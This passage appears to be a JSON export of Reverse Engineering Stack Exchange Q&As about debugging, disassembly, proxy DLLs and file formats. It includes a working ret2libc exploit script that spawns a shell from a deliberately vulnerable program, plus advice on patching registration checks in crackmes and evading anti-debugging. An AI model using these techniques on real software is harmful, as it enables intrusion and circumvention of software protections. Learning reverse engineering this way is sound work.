0; i &lt; tlist-&gt;NumberOfThreads; i++)\n                    {\n                        ULONG64 dsiz = tlist-&gt;Threads[i].ThreadContext.DataSize;\n                        ULONG64 rva = tlist-&gt;Threads[i].ThreadContext.Rva;\n                        ULONG64 memsta = tlist-&gt;Threads[i].Stack.StartOfMemoryRange;\n                        ULONG64 memsiz = tlist-&gt;Threads[i].Stack.Memory.DataSize;\n                        ULONG64 memrva = tlist-&gt;Threads[i].Stack.Memory.Rva;\n                        printf(&quot;look in debugger %I64x\\t%I64x\\t%I64x\\t%I64x\\t%I64x\\n&quot;,\n                               dsiz, rva, memsta, memsiz, memrva);\n                    }\n                    _tagSTACKFRAME64 tsf = {0};\n                    printf(&quot;%zx\\n&quot;, sizeof(tsf));\n                }\n                UnmapViewOfFile(lpMapAddress);\n                CloseHandle(hMapFile);\n                CloseHandle(hFile);\n            }\n        }\n    }\n    return 0;\n} \n</code></pre>\n<p>compiled and executed</p>\n<pre><code>cl /Zi /W4 /analyze:autolog- /Od /EHsc /nologo dumpdis.cpp /link /release\ndumpdis.cpp\n\ndumpdis.exe\nfile handle is 000000000000009C\nfile Map handle is 00000000000000A0\nview of map file is 0000029D96410000\nlook in debugger 4d0    2076    dce012edb0      1250    0\nlook in debugger 4d0    2546    dce01af858      7a8     0\nlook in debugger 4d0    2a16    dce047fa68      598     0\nlook in debugger 4d0    2ee6    dce04ffb48      4b8     0\n108\n</code></pre>\n<p>here is stack frame using GetScope from dbgeng IDebugSymbols<br />\ncode below is a windbg extension a dll but you can make standalone exe with   dbgeng (see samples in windbg sdk )</p>\n<p>code</p>\n<pre><code>#include &lt;engextcpp.cpp&gt;\n#define bufsiz 0x2000\nclass EXT_CLASS : public ExtExtension\n{\npublic:\n    EXT_COMMAND_METHOD(gscope);\n};\nEXT_DECLARE_GLOBALS();\nEXT_COMMAND(gscope, &quot;&quot;, &quot;&quot;)\n{\n    PULONG64 ip = 0;\n    DEBUG_STACK_FRAME sfr = {0};\n    BYTE scont[bufsiz] = {0};\n    HRESULT hr = m_Symbols-&gt;GetScope(ip, &amp;sfr, &amp;scont, bufsiz);\n    if (hr == S_OK)\n    {\n        Out(&quot;insptr\\t=\\t%I64x\\n&quot;, ip);\n        Out(&quot;instof\\t=\\t%I64x\\n&quot;, sfr.InstructionOffset);\n        Out(&quot;retoff\\t=\\t%I64x\\n&quot;, sfr.ReturnOffset);\n        Out(&quot;fraoff\\t=\\t%I64x\\n&quot;, sfr.FrameOffset);\n        Out(&quot;staoff\\t=\\t%I64x\\n&quot;, sfr.StackOffset);\n        Out(&quot;ftentr\\t=\\t%I64x\\n&quot;, sfr.FuncTableEntry);\n        Out(&quot;parone\\t=\\t%I64x\\n&quot;, sfr.Params[0]);\n        Out(&quot;partwo\\t=\\t%I64x\\n&quot;, sfr.Params[1]);\n        Out(&quot;partre\\t=\\t%I64x\\n&quot;, sfr.Params[2]);\n        Out(&quot;parfor\\t=\\t%I64x\\n&quot;, sfr.Params[3]);\n        Out(&quot;resone\\t=\\t%I64x\\n&quot;, sfr.Reserved[0]);\n        Out(&quot;virtua\\t=\\t%I64x\\n&quot;, sfr.Virtual);\n        Out(&quot;franum\\t=\\t%I64x\\n&quot;, sfr.FrameNumber);\n    }\n}\n</code></pre>\n<p>compiled &amp; linked with</p>\n<pre><code>cat complink.bat\ncl /LD /nologo /W4 /Ox  /Zi /EHsc /I&quot;C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\inc&quot; %1.cpp /link /EXPORT:DebugExtensionInitialize /Export:%1 /Export:help /RELEASE\n</code></pre>\n<p>executed !gscope and kb1 for comparison</p>\n<pre><code>cdb -c &quot;.load gscope;!gscope;kb1;q&quot; -z ..\\dumsta\\tdump.dmp |awk &quot;/Reading/,/quit/&quot;     \n0:000&gt; cdb: Reading initial command '.load gscope;!gscope;kb1;q'\ninsptr  =       0\ninstof  =       7ffe652f108c\nretoff  =       7ffe652f444f\nfraoff  =       dce012ede0\nstaoff  =       dce012edb0\nftentr  =       0\nparone  =       dce0245000\npartwo  =       7ffe6534d4b0\npartre  =       7ffe6534d4b0\nparfor  =       7ffe6534d4b0\nresone  =       0\nvirtua  =       1\nfranum  =       0\nRetAddr           : Args to Child                                                           : Call Site      \n00007ffe`652f444f : 000000dc`e0245000 00007ffe`6534d4b0 00007ffe`6534d4b0 00007ffe`6534d4b0 : ntdll!LdrpDoDebuggerBreak+0x30\nquit:\n</code></pre>\n"
    },
    {
        "Id": "28063",
        "CreationDate": "2021-07-28T20:11:37.023",
        "Body": "<p>So I have a crackme my friend sent to try and crack it but the problem that I cannot bypass the anti-debugging or even patching it.</p>\n<p>I even tried using ScyllaHide at <strong>max</strong> settings but still it detects that there's a debugger and close itself without any message, and it encrypts its strings in memory, so I can't get the key.</p>\n<p>How can I prevent it from detect if there was a debugger or getting the key from memory? (BTW I knew that it encrypts string being entered and compares it to the another encrypted string)</p>\n",
        "Title": "How to bypass anti-debugging C++",
        "Tags": "|x64dbg|anti-debugging|crackme|anti-dumping|",
        "Answer": "<p>use a debugger, single step the code, and watch what it does.  Odds are, it's one of the windows API functions that Ahmed mentions in another response.  But, step 1 would be figure out what it's doing, and then using the debugger, just jump OVER that code.</p>\n"
    },
    {
        "Id": "29072",
        "CreationDate": "2021-07-30T13:52:17.373",
        "Body": "<p>In proxy dll in .def file I can see the following notation:</p>\n<pre><code>_CreateFrameInfo=PROXY__CreateFrameInfo @1\n</code></pre>\n<p>Others use in the following format:</p>\n<pre><code> _AIL_3D_position@16 = vcruntime140_._AIL_3D_position@16 \n</code></pre>\n<p>What is the meaning of @ tag in that notation?</p>\n<p>Also, I have run the Dependency Walker on that program. It returned Hint: 1 (0x0001), 5(0x0005), etc. Are these related? There are less hints than functions though...</p>\n",
        "Title": "What's the meaning of @ tag on proxy dll?",
        "Tags": "|dll|msvc|",
        "Answer": "<p>This is called <a href=\"https://docs.microsoft.com/en-us/cpp/error-messages/tool-errors/name-decoration\" rel=\"nofollow noreferrer\"><em>name decoration</em></a>. Specifically in this case, it denotes <code>__stdcall</code> functions which accept the indicated number of bytes as stack arguments.</p>\n<p>The number at the end of the export definition (after the space delimiter) is used to specifty <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/exports\" rel=\"nofollow noreferrer\">the <em>ordinal</em> of the export</a>.</p>\n"
    },
    {
        "Id": "29083",
        "CreationDate": "2021-08-02T09:02:48.977",
        "Body": "<p>I have relatively simple code here for the proxy <code>DllMain()</code> function:</p>\n<pre><code>BOOL APIENTRY DllMain(HMODULE hDll, DWORD reason, LPVOID reserved)\n{\n\n\nif (reason != DLL_PROCESS_ATTACH) {\n    return TRUE;\n}\n\nlibrary = LoadLibrary(&quot;vcruntime140_.dll&quot;);\nif (!library) {\n    MessageBox(NULL, &quot;Failed to load vcruntime140_.dll&quot;, &quot;vcruntime140.dll proxy&quot;, MB_OK);\n    return FALSE;\n}\n\nif (reason == DLL_PROCESS_DETACH) {\n    FreeLibrary(library);\n    return TRUE;\n}\n\nsetupVftableHooks();\nreturn setupHooks();\n}\n</code></pre>\n<p>For some reason, it doesn't load the original DLL, i.e. <code>vcruntime140_.dll</code>. It loads the proxy one, aka <code>vcruntime140.dll</code>. It tries to load it several times, in fact:</p>\n<pre><code>Loaded   Binaries\\Windows-x86_64\\vcruntime140.dll'. Symbols loaded.\nLoaded   Binaries\\Windows-x86_64\\vcruntime140.dll'. Symbols loaded.\nUnloaded Binaries\\Windows-x86_64\\vcruntime140.dll'\nLoaded   Binaries\\Windows-x86_64\\vcruntime140.dll'. Symbols loaded.\nUnloaded Binaries\\Windows-x86_64\\vcruntime140.dll'\n</code></pre>\n<p>But</p>\n<ul>\n<li><p>a) never once it actually tries to load <code>vcruntime140_.dll</code>, which is the original DLL,</p>\n</li>\n<li><p>b) it is suspicious that last record in the debugger is Unloaded. Although it must've been loaded at the end, as the program doesn't crash (not on DLL loading anyway),</p>\n</li>\n<li><p>c) when the program tries to execute, it complains about</p>\n<blockquote>\n<p>0xC0000139: Entry Point Not Found for different functions in the original DLL.</p>\n</blockquote>\n<p>I suspect it is because the original DLL simply was not loaded (as I've checked the Dependency Walker and Entry Points look fine for all of the original functions).</p>\n</li>\n</ul>\n<p>Update 06.08.21: Created a x86 version of the DLL. It loads and the program starts.\nThe difference with the above x64 version is that the program doesn't complain about Entry points for the functions. It loads the DLL from it's location within the game folder, but it also loads the equivalent dll from System32, i.e.:</p>\n<pre><code>Binaries\\Windows-x86_64\\vcruntime140.dll'.      \nBinaries\\Windows-x86_64\\vcruntime140.dll'       \nBinaries\\Windows-x86_64\\vcruntime140.dll'.      \nBinaries\\Windows-x86_64\\vcruntime140.dll'       \n(Win32): Loaded 'C:\\Windows\\System32\\vcruntime140.dll'\n(Win32): Loaded 'C:\\Windows\\System32\\vcruntime140.dll'\n(Win32): Unloaded 'C:\\Windows\\System32\\vcruntime140.dll'    \n</code></pre>\n<p>What is confusing about this is that it doesn't load the actual DLL from the game folder, i.e. vcruntime140_.dll. Will continue trying to debug, but since it doesn't stop at breakpoints in <code>DllMain()</code> function, I don't know what's the best way to do it.</p>\n<p>Note that the program runs in the mixed environment, as you can see from the name of the folder, from which it actually starts: Windows-x86_64</p>\n",
        "Title": "Proxy dll doesn't load the original dll",
        "Tags": "|windows|c++|dll|dll-injection|proxy|",
        "Answer": "<p>Fixed this in several steps:</p>\n<ol>\n<li><p>Confirmed with Dependency Walker that the DLL is x64 (it wasn't\napparent as the environment was mixed as I've mentioned above)</p>\n</li>\n<li><p>Added .def as Module Definition File on Linker (on some architectures I forgot to do it as I was experimenting with different options)</p>\n</li>\n<li><p>Main thing is, the code as it was in .def file is not working:</p>\n<blockquote>\n<p>swr_alloc@1=swresample-3_.swr_alloc@1</p>\n</blockquote>\n<blockquote>\n<p>swr_alloc_set_opts@2=swresample-3_.swr_alloc_set_opts@2</p>\n</blockquote>\n</li>\n</ol>\n<p>It had to be replaced with this in the .def file:</p>\n<pre><code>  swr_alloc=PROXY__swr_alloc @1\n</code></pre>\n<p>And change in the mainDLL():</p>\n<pre><code>case DLL_PROCESS_ATTACH:\n{\n\n    hLThis = hInst;\n    hL = LoadLibrary(&quot;.\\\\swresample-3_.dll&quot;);\n    if (!hL) {\n        MessageBox(NULL, &quot;Failed to load swresample-3_.dll&quot;, &quot;swresample-3.dll proxy&quot;, MB_OK);\n        return FALSE;\n    }\n\n    p[0] = GetProcAddress(hL, &quot;swr_alloc&quot;);\n    p[1] = GetProcAddress(hL, &quot;swr_alloc_set_opts&quot;);   \n</code></pre>\n<p>.....</p>\n<pre><code>extern &quot;C&quot;\n{\nFARPROC PA = NULL;\nint RunASM();\n\nvoid PROXY__swr_alloc() {\n    PA = p[0];\n    RunASM();\n}\nvoid PROXY__swr_alloc_set_opts() {\n    PA = p[1];\n    RunASM();\n}\n</code></pre>\n<p>With .asm file:</p>\n<pre><code>.data\nextern PA : qword\n.code\nRunASM proc\njmp qword ptr [PA]\nRunASM endp\nend\n</code></pre>\n<p>This is a more &quot;standard&quot; approach to proxy dll creation. But I still don't understand why the original dll setup, i.e. the layout of the .def file didn't work. I saw that working on some other projects.</p>\n"
    },
    {
        "Id": "29089",
        "CreationDate": "2021-08-02T23:56:08.230",
        "Body": "<p>I am trying to exploit this program <code>test</code> with ret2libc. Only NX is enabled.</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid vuln() {\n    char buffer[256];\n    gets(buffer);\n}\n\nint main() {\n    vuln();\n    return 0;\n}\n</code></pre>\n<p>I am able to exploit the program with pwntools, but I am unable to exploit it doing <code>./test &lt; myfile.txt</code>.</p>\n<p>Exploit:</p>\n<pre><code>#!/bin/python3\nfrom pwn import process, gdb, shellcraft, p32, asm\nfrom pwnlib.util.cyclic import cyclic, cyclic_find\nimport os\n\nLOCAL_BIN = &quot;./test&quot;\nSYSTEM_ADDR = 0xf7e10420 # p system\nSHELL_ADDR = 0xf7f5a352 # find &amp;system,+9999999,&quot;/bin/sh&quot;\nEXIT = 0xf7e02f80 # p exit\nOFFSET = 264 # offset to ebp\nP = process(LOCAL_BIN)\nG = gdb.attach(P.pid, &quot;b *0x080491c7&quot;)\n\npayload = b''\npayload = payload.ljust(OFFSET, b'A')\npayload += b'BBBB' # fill ebp with \\x42\npayload += p32(SYSTEM_ADDR)\npayload += p32(EXIT)\npayload += p32(SHELL_ADDR)\n\n# write bytes to file. ./test &lt; myfile.txt should work the same?\nwith open('myfile.txt', 'wb') as w:\n    w.write(payload)\n\nP.sendline(payload)\nP.interactive()\nexit()\n</code></pre>\n<p>What is the difference from running pwntools and piping bytes into the program?</p>\n",
        "Title": "ret2libc: problem getting exploit work without pwntools",
        "Tags": "|c|buffer-overflow|pwntools|",
        "Answer": "<p>It seems that I made two critical mistakes when I tried to use <code>myfile.txt</code> to exploit the binary.</p>\n<ol>\n<li>When writing the exploit to the file I did NOT append <code>\\n</code> to the payload. <code>P.sendline()</code> appends this to the payload automatically. Without <code>\\n</code> the function <code>gets()</code> just keeps asking for more input.</li>\n<li>The second mistake was not to include the <code>stdin</code> when piping to <code>myfile.txt</code>. I am unsure about the specifics about this, but when running <code>cat myfile.txt - | ./test</code> I got the shell I wanted.</li>\n</ol>\n"
    },
    {
        "Id": "29099",
        "CreationDate": "2021-08-05T13:09:33.563",
        "Body": "<p>I've been working in IDA Pro with a project but there is an issue. Try-Catch statements don't look nice.</p>\n<p>I've been searching and it seems like IDA does not support them so I was wondering if there is a way to either:</p>\n<ul>\n<li>Hide sections of the Pseudocode</li>\n<li>Create extensions for Hex-Rays to support them</li>\n<li>Tell IDA how and where the exceptions are</li>\n</ul>\n<p>This is how the thing looks like at the moment:</p>\n<pre><code>  v3.SavedRegs = &amp;savedregs;\n  v3.Handler = &amp;loc_43B24C;\n  v3.Next = NtCurrentTeb()-&gt;NtTib.ExceptionList;\n  __writefsdword(0, &amp;v3);\n  Controls::TControl::ReadState(Self, a2);\n  __writefsdword(0, v3.Next);\n</code></pre>\n<p>And I would like to end up with something like this:</p>\n<pre><code>  try {\n    Controls::TControl::ReadState(Self, a2);\n  } ... {}\n</code></pre>\n<p>Or if I can just hide those parts...</p>\n<pre><code>  //try {          &lt;- Block comment (parts hidden)\n    Controls::TControl::ReadState(Self, a2);\n  //} ... {}       &lt;- Block comment (parts hidden)\n</code></pre>\n<p>Anything is good as long as I can hide those lines because they are distracting AF. Thank you very much!</p>\n",
        "Title": "IDA PRO Hex-Rays try-catch",
        "Tags": "|ida|hexrays|ida-plugin|exception|",
        "Answer": "<p>I've considered doing this myself, but it's tricky for many reasons.</p>\n<p>First, exception internals are not standardized across languages, platforms, or implementations. 64-bit Windows programs use a data-driven exception model, i.e., the <code>RUNTIME_FUNCTION</code> (etc.) entries in the <code>.rdata</code> segment. In this paradigm, the binary pre-registers information about exception scopes and handlers with the operating system via standardized structures, which takes care of lookup and dispatch when an exception occurs. Your example shows 32-bit Delphi; 32-bit Windows programs use a code-driven exception model, where the code is responsible for adding and removing exception handlers on demand, using proprietary metadata formats. As a result, adding exception support would require a lot of platform and language-specific effort, and may involve reverse engineering undocumented exception implementations across multiple runtime versions for a given language. While there would be benefits to adding exception support, it would also require a lot of work to develop (and maintain as the runtime support evolves over time).</p>\n<p>Secondly, even if we were to decompile exception-related things into a simplified, language-independent representation, the most logical method of presentation would involve extending Hex-Rays to support things like <code>try</code>/<code>catch</code>/<code>finally</code> blocks as scoped constructs, and producing these things in the output. Unfortunately, extending the Hex-Rays <code>ctree</code> IR in this fashion is impossible for third-party developers. The valid <code>ctree</code> expression types are held in an <code>enum</code> called <code>ctype_t</code>. We'd need to add new entries like <code>cit_try</code> to this <code>enum</code>, we'd need to extend the <code>union</code> in <code>cinsn_t</code> to support an additional <code>ctry_t *</code> element, and we'd need to modify all of the existing <code>ctree</code> code in Hex-Rays to be aware of our modifications (for example, to print the <code>try</code> blocks in the decompilation listing). None of these things can be done by third-party plugins, as the existing, pre-compiled code will generate INTERRs upon encountering our <code>cit_try</code> instructions. Adding statement types to the <code>ctree</code> IR can only be accomplished via source-level modifications, not via plugins.</p>\n<p>Finally, even though Hex-Rays technically has an option not to eliminate exception-related code, I'm not completely sure how it works. Exception-related code often manifests itself as &quot;function chunks&quot; attached to a given function, which have no incoming control flow references. As a result, that code is eliminated by the optimizer very early into the decompilation process. You'd need to find a way to preserve it.</p>\n<p>It's a daunting prospect for a third-party developer; I myself abandoned the idea. It's also daunting for the first-party developers. I don't expect to see it in any major decompiler any time soon.</p>\n"
    },
    {
        "Id": "29105",
        "CreationDate": "2021-08-07T12:33:27.563",
        "Body": "<p><strong>Background / Introducion</strong></p>\n<p>CAN message Mercedes-Benz, cannot determine 16-bit data type for temperature.</p>\n<pre><code>7E 00 32 01 37 00\n</code></pre>\n<p>According to <a href=\"https://github.com/rnd-ash/W203-canbus/blob/master/DAT_TRANSLATOR/DECODED/w211_w219%20CAN%20B%20ENGLISH.txt#L814\" rel=\"nofollow noreferrer\">@rnd-ash</a> (who has reverse engineered ACTIA Basic XS Monitor Software) message is structured data type composed of four values. Now we have bit length + offset but unfortunately data type is unknown.</p>\n<pre><code>ECU NAME: SAM_V_A2, ID: 0x0017. MSG COUNT: 4\n    MSG NAME: T_AUSSEN_B - (\u00b0C) (\u00b0 C) Outside air temperature, OFFSET 0, LENGTH 8\n    MSG NAME: P_KAELTE - (bar) (Bar) pressure refrigerant R134a, OFFSET 8, LENGTH 16\n    MSG NAME: T_KAELTE - (\u00b0C) (\u00b0 C) temperature refrigerant R134a, OFFSET 24, LENGTH 16\n    MSG NAME: I_KOMP - (mA) (MA) current compressor main control valve, OFFSET 40, LENGTH 8\n</code></pre>\n<p><a href=\"https://stackoverflow.com/users/9178992/projectphysx\">@ProjectPhysX</a> suggested it is probably 8/16-bit integer and big endian, so I created that struct. Figured out how to calculate value 0, 1, 3 but unfortunately struggling with value 2</p>\n<pre><code>typedef struct SAM_V_A2_t {\n  uint8_t T_AUSSEN_B;\n  uint16_t P_KAELTE;\n  uint16_t T_KAELTE;\n  uint8_t I_KOMP;\n} SAM_V_A2_t;\n</code></pre>\n<p>Based on that pictures I can confirm the calculation except for T_KAELTE, which is target of this question (see below).</p>\n<pre><code>std::cout &lt;&lt; &quot;T_AUSSEN_B = &quot; &lt;&lt; +( (SAM_V_A2.T_AUSSEN_B - 80) / 2 ) &lt;&lt; &quot; (\u00b0C) Outside air temperature&quot;               &lt;&lt; std::endl;\nstd::cout &lt;&lt; &quot;P_KAELTE = &quot;   &lt;&lt; +( SAM_V_A2.P_KAELTE / 10 )         &lt;&lt; &quot; (bar) pressure refrigerant R134a&quot;           &lt;&lt; std::endl;\nstd::cout &lt;&lt; &quot;T_KAELTE = &quot;   &lt;&lt; +( (SAM_V_A2.T_KAELTE - 80) / 2 )   &lt;&lt; &quot; (\u00b0C) temperature refrigerant R134a&quot;         &lt;&lt; std::endl;\nstd::cout &lt;&lt; &quot;I_KOMP = &quot;     &lt;&lt; +( SAM_V_A2.I_KOMP * 10 )           &lt;&lt; &quot; (mA) current compressor main control valve&quot; &lt;&lt; std::endl;\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/O2YqU.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/O2YqU.jpg\" height=\"120\"/></a> <a href=\"https://i.stack.imgur.com/QlCge.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QlCge.jpg\" height=\"120\"/></a> <a href=\"https://i.stack.imgur.com/069Ye.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/069Ye.jpg\" height=\"120\"/></a> <a href=\"https://i.stack.imgur.com/anx9F.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/anx9F.jpg\" height=\"120\"/></a></p>\n<pre><code>  7E             00 32               01 37             00\n\n01111110   00000000 00110010   00000001 00110111   00000000\n\n 126               50                 311               0\n\n 126 - 80 / 2      50 / 10             ?                0 * 10\n\n  23\u00b0C              5 bar              ? \u00b0C             0 mA\n</code></pre>\n<hr />\n<p><strong>Question</strong></p>\n<p>My last hope was it could be <code>binary16</code> or <code>bfloat16</code> but no luck. Maybe it is some proprietary 16-bit floating-point format with different bits for exponent / mantissa</p>\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/2/21/IEEE_754r_Half_Floating_Point_Format.svg/175px-IEEE_754r_Half_Floating_Point_Format.svg.png\"/>\n<p>Maybe we can brute force all permutations for exponent / mantissa to determine data type.<br />\n<strong>Question:</strong> How can we decode <code>01 37</code> so it gives expected value ~ 21.10 \u00b0C</p>\n<p>(more sample data <a href=\"https://forum.pjrc.com/threads/56035-FlexCAN_T4-FlexCAN-for-Teensy-4?p=284462&amp;viewfull=1#post284462\" rel=\"nofollow noreferrer\">here</a>)</p>\n",
        "Title": "determine proprietary 16-bit floating-point format",
        "Tags": "|c++|file-format|serial-communication|float|type-reconstruction|",
        "Answer": "<p>Maybe it is the temperature in Kelvin: 311 - 80/2 = 217K = -2.15\u00b0C</p>\n<p>Or the offset is different than 80/2. A 16-bit floating-poitn format, especially a different one from IEEE-754 is highly unlikely. Such measurement chips are not more but simple ADCs, they lack the capabilities to convert their reading to floating-point.</p>\n<p>To be sure, you would have to take several readings. If you expect that temperature fluctuates by a few \u00b0C between measurements, then in <code>00000001 00110111</code> only the last few bits should change.</p>\n<p>If you have access to the hardware, read the serial number off the chip package and look it up, maybe you find the data sheet that documents the data format of measurements.</p>\n"
    },
    {
        "Id": "29113",
        "CreationDate": "2021-08-09T18:15:37.283",
        "Body": "<p>In the part 07 of lena151 RE tutorial, we arrive to these instructions:</p>\n<pre><code>AL = 0\nTEST AL,AL\nJNZ ...\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/dkz2t.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dkz2t.jpg\" alt=\"enter image description here\" /></a></p>\n<p>And notice:</p>\n<blockquote>\n<p>Because of the JNZ, AL must be different from zero when arriving here to be registered.</p>\n</blockquote>\n<p><strong>My question is:</strong> Why the AL must be different from zero? If 2 value (0=0) are equal, the Z flag set to 1, because the result of comparison is true! Is this right?</p>\n",
        "Title": "TEST instruction and ZF flag",
        "Tags": "|assembly|register|",
        "Answer": "<p>Let's go into the important instructions in the <em>reversed</em> order.</p>\n<ol>\n<li><p><code>JNZ ...</code></p>\n<p>Jump if Not Zero. You want to jump (over the &quot;bad boy&quot;), i.e. you want to obtain &quot;Not Zero&quot; in this (previous) instruction:</p>\n</li>\n<li><p><code>TEST AL,AL</code></p>\n<p>To obtain &quot;Not Zero&quot;, the value in AL have to be &quot;Not Zero&quot;, too.<br />\nThe value of AL is set in this (previous) instruction:</p>\n</li>\n<li><p><code>CALL ...</code></p>\n<p>This instruction calls a function, and this function fills the EAX register with its return value (in concordance with the calling convention). The AL register is a part of EAX:</p>\n<p><a href=\"https://i.stack.imgur.com/mqwKL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mqwKL.png\" alt=\"enter image description here\" /></a></p>\n<p>So you want from this function to return some &quot;Not Zero&quot;, but it stubbornly returns 0 (meaning &quot;Not Registered&quot;).</p>\n</li>\n</ol>\n<hr />\n<p>You have some natural possibilities to reach your desired behavior (jumping over the &quot;bad boy&quot;), but at first I remind the original order of instructions:</p>\n<pre><code>CALL ...\nTEST AL,AL\nJNZ ...\n</code></pre>\n<ol>\n<li>Replace the <code>JNZ ...</code> instruction with  <code>JMP ...</code>  or <code>JZ ...</code>.</li>\n<li>Replace the <code>TEST AL,AL</code> instruction with a such one which gives you a &quot;Not Zero&quot; result.</li>\n<li>Replace the <code>CALL ...</code> instruction with a such one which fills the AL register with a &quot;Not Zero&quot;.</li>\n<li>Deep into the function in the <code>CALL ...</code> instruction and change it to return a &quot;Not Zero&quot; value.</li>\n</ol>\n"
    },
    {
        "Id": "29138",
        "CreationDate": "2021-08-15T17:57:29.560",
        "Body": "<p>I have the code below, derived from the reversed function in the original application:</p>\n<pre><code>gladius::world::World::create(*(gladius::world::World**)(*(char*)(this + 0x5e8) + 0x50));\n</code></pre>\n<p>The <em>create</em> function looks like this:</p>\n<pre><code>void __thiscall gladius::world::World::create(World *this) {\n</code></pre>\n<p>Could someone please describe the way the function is setup and may be simplify the notation above if possible?</p>\n<p>So, this is a <em>create</em> function call, which takes as an argument the pointer to a particular address.</p>\n<ul>\n<li>How the pointer address is calculated in this case?</li>\n<li>What is the exact meaning of (this + 0x5e8) + 0x50 - 0x5e8 offset to <em>this</em> and then 12th element of the structure (i.e. structure of 4 bytes - address 48? )</li>\n<li>What 0x5e8 represents in this case (apart of being an offset, I mean what this offset could possibly point to)?</li>\n</ul>\n<p>This is how it looks further in the code:</p>\n<pre><code>    this_01 = GUI::getWorld(*(GUI **)(this + 0x88));\n    gladius::world::World::create(this_01);\n</code></pre>\n<p>where <code>GUI::getWorld(*(GUI **)(this + 0x88));</code> points to the following function:</p>\n<pre><code>World * __thiscall gladius::gui::GUI::getWorld(GUI *this)\n\n{\n  return *(World **)(*(longlong *)(this + 0x5e8) + 0x50);\n}\n</code></pre>\n<p>This is where the address (this + 0x5e8) + 0x50) came from.</p>\n<p>I still don't understand the significance of these addresses, as <em>create</em> is a member function of World and it is called with an instance of that class as a parameter?</p>\n<p>And the address of that instance is stored in class GUI on the address: (this + 0x5e8) + 0x50)?</p>\n<p>Or I am confusing the above and this + 0x5e8 points to some structure in the World class, which must be somewhere at 58/4 or at 58/8 address and then within that structure I am looking at 50/4 member?</p>\n",
        "Title": "How to make sense of the pointer in reversed function call?",
        "Tags": "|decompilation|c++|game-hacking|",
        "Answer": "<p>Thought about this and it seems in this address <code>((this + 0x5e8) + 0x50)</code> the values are like this:</p>\n<ul>\n<li><p><code>this + 0x5e8</code> - is an address of the structure in the particular class</p>\n</li>\n<li><p><code>0x50</code> - is an address of the element within that structure, could occupy any position as we don't know by just looking at it of how many other elements are there and what sizes do they have.</p>\n</li>\n</ul>\n<p>Just didn't realise that this is what <a href=\"https://reverseengineering.stackexchange.com/users/3473/blabb\">blabb</a> said in the comment. Happy to accept that comment as an answer if you want to post it.</p>\n"
    },
    {
        "Id": "29140",
        "CreationDate": "2021-08-16T10:09:40.390",
        "Body": "<p>I'm attempting to dissect/disassemble a windows PE file under Linux using objdump.  On surface analysis, the .code section was disassembled to :</p>\n<pre><code>tmp.exe:     file format pei-i386\n\n\nDisassembly of section CODE:\n\n00401000 &lt;CODE&gt;:\n  401000:       04 10                   add    $0x10,%al\n  401002:       40                      inc    %eax\n  401003:       00 03                   add    %al,(%ebx)\n  401005:       07                      pop    %es\n  401006:       42                      inc    %edx\n  401007:       6f                      outsl  %ds:(%esi),(%dx)\n  401008:       6f                      outsl  %ds:(%esi),(%dx)\n  401009:       6c                      insb   (%dx),%es:(%edi)\n  40100a:       65                      gs\n  40100b:       61                      popa\n  40100c:       6e                      outsb  %ds:(%esi),(%dx)\n  40100d:       01 00                   add    %eax,(%eax)\n  40100f:       00 00                   add    %al,(%eax)\n  401011:       00 01                   add    %al,(%ecx)\n  401013:       00 00                   add    %al,(%eax)\n  401015:       00 00                   add    %al,(%eax)\n  ...\n</code></pre>\n<p>Then I looked at the entry point which was 0x45e534, which\nended up within an opcode:</p>\n<pre><code>\n  45e52f:       00 dc                   add    %bl,%ah\n  45e531:       e2 45                   loop   0x45e578\n  45e533:       00 55 8b                add    %dl,-0x75(%ebp)\n  45e536:       ec                      in     (%dx),%al\n  45e537:       83 c4 f0                add    $0xfffffff0,%esp\n  45e53a:       b8 04 e3 45 00          mov    $0x45e304,%eax\n  45e53f:       e8 e0 84 fa ff          call   0x406a24\n</code></pre>\n<p>Which, I feel is very wrong; but since my understanding of assembly is lacking, I could be wrong.</p>\n<p>So having read [1] and the chapter on Disassembly in &quot;Practical Malware Analysis&quot;, I realized that there could be data in the .text (or in this case, CODE) section.  So I took a gander at the\nhex dump on the file and came across at the beginning of\nthe code section:</p>\n<pre><code>0000400: 0410 4000 0307 426f 6f6c 6561 6e01 0000  ..@...Boolean...\n0000410: 0000 0100 0000 0010 4000 0546 616c 7365  ........@..False\n0000420: 0454 7275 658d 4000 2c10 4000 0204 4368  .True.@.,.@...Ch\n0000430: 6172 0100 0000 00ff 0000 0090 4010 4000  ar..........@.@.\n0000440: 0107 496e 7465 6765 7204 0000 0080 ffff  ..Integer.......\n0000450: ff7f 8bc0 5810 4000 0104 4279 7465 0100  ....X.@...Byte..\n0000460: 0000 00ff 0000 0090 6c10 4000 0104 576f  ........l.@...Wo\n0000470: 7264 0300 0000 00ff ff00 0090 8010 4000  rd............@.\n0000480: 0108 4361 7264 696e 616c 0500 0000 00ff  ..Cardinal......\n0000490: ffff ff90 9810 4000 0a06 5374 7269 6e67  ......@...String\n...\n\n</code></pre>\n<p>This lead me to believe that there is definitely DATA in the code section [but, again, I could be wrong].</p>\n<p>My question is (even given [1]), is it possible to figure out what the format of the DATA is in that part of the binary?</p>\n<p>With my limited understanding, I'm guessing it's a structure of some sort <em>or</em> possibly a long list of DB/DW but (again, I could be wrong).</p>\n<p>For instance, the very first set:</p>\n<pre><code>0410 4000 0307 426f 6f6c 6561 6e01 00 00..\n\n</code></pre>\n<p>Could the above be translated to something like (in assembly)</p>\n<pre><code>   DB 0x00401004\n   DB 0x0703\n   DB &quot;Boolean&quot;\n   ...\n</code></pre>\n<p>I tried to look for the opcode DB in [2] but couldn't find it, so I'm wondering if I'm barking up the wrong tree.</p>\n<p>Any help/pointers appreciated</p>\n<p>:ewong</p>\n<p>[1] - <a href=\"https://reverseengineering.stackexchange.com/questions/16498/how-do-reverse-engineers-commonly-detect-the-format-of-binary-data\">How do reverse engineers commonly detect the format of binary 